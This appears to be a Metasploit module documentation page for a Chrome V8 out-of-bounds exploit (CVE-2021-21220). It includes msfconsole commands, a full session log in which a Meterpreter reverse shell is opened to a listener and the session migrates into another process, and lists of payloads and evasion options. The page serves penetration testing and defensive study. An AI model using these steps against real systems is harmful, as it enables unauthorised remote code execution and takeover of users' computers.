Google Chrome versions before 89.0.4389.128 V8 XOR Typer Out-Of-Bounds Access RCE - Metasploit
This page contains detailed information about how to use the exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Google Chrome versions before 89.0.4389.128 V8 XOR Typer Out-Of-Bounds Access RCE
Module: exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation
Source code: modules/exploits/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation.rb
Disclosure date: 2021-04-13
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): x64
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2021-21220
This module exploits an issue in the V8 engine on x86_x64 builds of Google Chrome before 89.0.4389.128/90.0.4430.72 when handling XOR operations in JIT'd JavaScript code. Successful exploitation allows an attacker to execute arbitrary code within the context of the V8 process. As the V8 process is normally sandboxed in the default configuration of Google Chrome, the browser must be run with the --no-sandbox option for the payload to work correctly.
Module Ranking and Traits
Module Ranking:
- manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
msf > use exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation
msf exploit(chrome_cve_2021_21220_v8_insufficient_validation) > exploit
Knowledge Base
Vulnerable Application
This module exploits CVE-2021-21220 an out of bounds access issue in Google Chrome versions before 89.0.4389.128/90.0.4430.72 (64 bit) that was reported as part of Pwn2Own 2021 by Bruno Keith and Niklas Baumstark of Dataflow Security.
The exploit takes advantage of a lack of proper input validation in the V8 engine on x86_x64 builds of Chrome when handling XOR operations within JIT compiled code. Successful exploitation leads to RCE execution within the context of the V8 renderer.
Note that as the V8 renderer is sandboxed within typical Chrome setups, the browser must be run without a sandbox by using the --no-sandbox option for the payload to work correctly.
The module is compatible with any 64bit Google Chrome (versions before 87.0.4280.88) on multiple platforms. However, the code that writes the shellcode into the rwx region (wasm_rwx_addr) may need to be modified.
Vulnerable Application Installation Steps
You can download a vulnerable Chrome version from this location: https://chromium.cypress.io/win64/beta/90.0.4430.70
Verification Steps
- Do:
use exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation - Do:
set URIPATH / [PATH] - Do:
set LHOST [IP] - Do:
set SRVHOST [IP] - Do:
exploit
Options
None
Scenarios
Windows 10 and Google Chrome 90.0.4430.0 with --no-sandbox
Start Google Chrome without a sandbox, e.g:
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox
msf6 > use exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > set TARGET 1
TARGET => 1
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > show options
Module options (exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local mac
hine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.17.233.206 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Windows 10 - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) >
[*] Started reverse TCP handler on 172.17.233.206:4444
[*] Using URL: http://0.0.0.0:8080/F6htJoKY5li
[*] Local IP: http://172.17.233.206:8080/F6htJoKY5li
[*] Server started.
[*] 172.17.236.178 chrome_cve_2021_21220_v8_insufficient_validation - Sending /F6htJoKY5li to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.0 Safari/537.36
[*] Sending stage (200262 bytes) to 172.17.236.178
[*] Meterpreter session 1 opened (172.17.233.206:4444 -> 172.17.236.178:65165) at 2021-04-27 13:19:35 -0500
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-KUO5CML\test
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > use post/windows/manage/migrate
msf6 post(windows/manage/migrate) > show options
Module options (post/windows/manage/migrate):
Name Current Setting Required Description
---- --------------- -------- -----------
KILL false no Kill original process for the session.
NAME no Name of process to migrate to.
PID 0 no PID of process to migrate to.
PPID 0 no Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)
.
PPID_NAME no Name of process for PPID spoofing when creating a new process.
SESSION yes The session to run this module on.
SPAWN true no Spawn process to migrate to. If set, notepad.exe is used.
msf6 post(windows/manage/migrate) > set SESSION 1
SESSION => 1
msf6 post(windows/manage/migrate) > run
[*] Running module against DESKTOP-KUO5CML
[*] Current server process: chrome.exe (10116)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 8732
[+] Successfully migrated into process 8732
[*] Post module execution completed
msf6 post(windows/manage/migrate) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getpid
Current pid: 8732
meterpreter > getuid
Server username: DESKTOP-KUO5CML\test
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
meterpreter > sysinfo
Computer : DESKTOP-KUO5CML
OS : Windows 10 (10.0 Build 19041).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the multi/browser/chrome_cve_2021_21220_v8_insufficient_validation exploit module looks in the msfconsole:
msf6 > use exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > show info
Name: Google Chrome versions before 89.0.4389.128 V8 XOR Typer Out-Of-Bounds Access RCE
Module: exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation
Platform:
Arch: x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 2021-04-13
Provided by:
Bruno Keith (bkth_)
Niklas Baumstark (_niklasb)
Rajvardhan Agarwal (r4j0x00)
Grant Willcox (tekwizz123)
Module side effects:
ioc-in-logs
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Linux - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)
1 Windows 10 - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)
2 macOS - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Space: 4096
Description:
This module exploits an issue in the V8 engine on x86_x64 builds of
Google Chrome before 89.0.4389.128/90.0.4430.72 when handling XOR
operations in JIT'd JavaScript code. Successful exploitation allows
an attacker to execute arbitrary code within the context of the V8
process. As the V8 process is normally sandboxed in the default
configuration of Google Chrome, the browser must be run with the
--no-sandbox option for the payload to work correctly.
References:
https://nvd.nist.gov/vuln/detail/CVE-2021-21220
https://github.com/r4j0x00/exploits/tree/master/chrome-0day
https://twitter.com/r4j0x00/status/1382125720344793090
https://bugs.chromium.org/p/chromium/issues/detail?id=1196683
https://www.zerodayinitiative.com/advisories/ZDI-21-411/
Module Options
This is a complete list of options available in the multi/browser/chrome_cve_2021_21220_v8_insufficient_validation exploit:
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > show options
Module options (exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)
Advanced Options
Here is a complete list of advanced options supported by the multi/browser/chrome_cve_2021_21220_v8_insufficient_validation exploit:
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > show advanced
Module advanced options (exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/browser/chrome_cve_2021_21220_v8_insufficient_validation module can exploit:
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > show targets
Exploit targets:
Id Name
-- ----
0 Linux - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)
1 Windows 10 - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)
2 macOS - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/browser/chrome_cve_2021_21220_v8_insufficient_validation exploit:
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/x64/exec normal No Linux Execute Command
4 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
5 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
6 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
7 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
8 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
9 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
10 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
11 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
12 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
13 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
14 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the multi/browser/chrome_cve_2021_21220_v8_insufficient_validation exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Related Pull Requests
References
- CVE-2021-21220
- https://github.com/r4j0x00/exploits/tree/master/chrome-0day
- https://twitter.com/r4j0x00/status/1382125720344793090
- https://bugs.chromium.org/p/chromium/issues/detail?id=1196683
- https://www.zerodayinitiative.com/advisories/ZDI-21-411/
See Also
Check also the following modules related to this module:
- exploit/multi/browser/chrome_array_map
- exploit/multi/browser/chrome_jscreate_sideeffect
- exploit/multi/browser/chrome_object_create
- exploit/multi/browser/chrome_simplifiedlowering_overflow
- auxiliary/gather/chrome_debugger
- exploit/windows/browser/chrome_filereader_uaf
- post/multi/gather/chrome_cookies
- auxiliary/admin/chromecast/chromecast_reset
- auxiliary/admin/chromecast/chromecast_youtube
- auxiliary/scanner/http/chromecast_webserver
- auxiliary/scanner/http/chromecast_wifi
- post/windows/gather/credentials/chrome
- post/windows/gather/enum_chrome
- exploit/multi/http/cve_2021_35464_forgerock_openam
- exploit/multi/http/mybb_rce_cve_2022_24734
- exploit/multi/sap/cve_2020_6207_solman_rs
- exploit/multi/misc/nodejs_v8_debugger
- exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx
- exploit/linux/http/hikvision_cve_2021_36260_blind
- exploit/linux/http/sonicwall_cve_2021_20039
- exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144
- exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
- exploit/linux/local/cve_2021_3493_overlayfs
- exploit/linux/local/cve_2021_38648_omigod
- exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
- exploit/linux/misc/cve_2021_38647_omigod
- exploit/windows/dcerpc/cve_2021_1675_printnightmare
- exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539
- exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077
- exploit/windows/http/sitecore_xp_cve_2021_42237
- exploit/windows/local/cve_2021_1732_win32k
- exploit/windows/local/cve_2021_21551_dbutil_memmove
- exploit/windows/local/cve_2021_40449
Related Nessus plugins:
- Google Chrome < 89.0.4389.128 Multiple Vulnerabilities
- Google Chrome < 89.0.4389.128 Multiple Vulnerabilities
- Microsoft Edge (Chromium) < 89.0.774.77 Multiple Vulnerabilities
- FreeBSD : chromium -- multiple vulnerabilities (7c0d71a9-9d48-11eb-97a0-e09467587c17)
- openSUSE Security Update : chromium (openSUSE-2021-567)
- GLSA-202104-08 : Chromium, Google Chrome: Multiple vulnerabilities
- openSUSE Security Update : opera (openSUSE-2021-712)
Authors
- Bruno Keith (bkth_)
- Niklas Baumstark (_niklasb)
- Rajvardhan Agarwal (r4j0x00)
- Grant Willcox (tekwizz123)
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
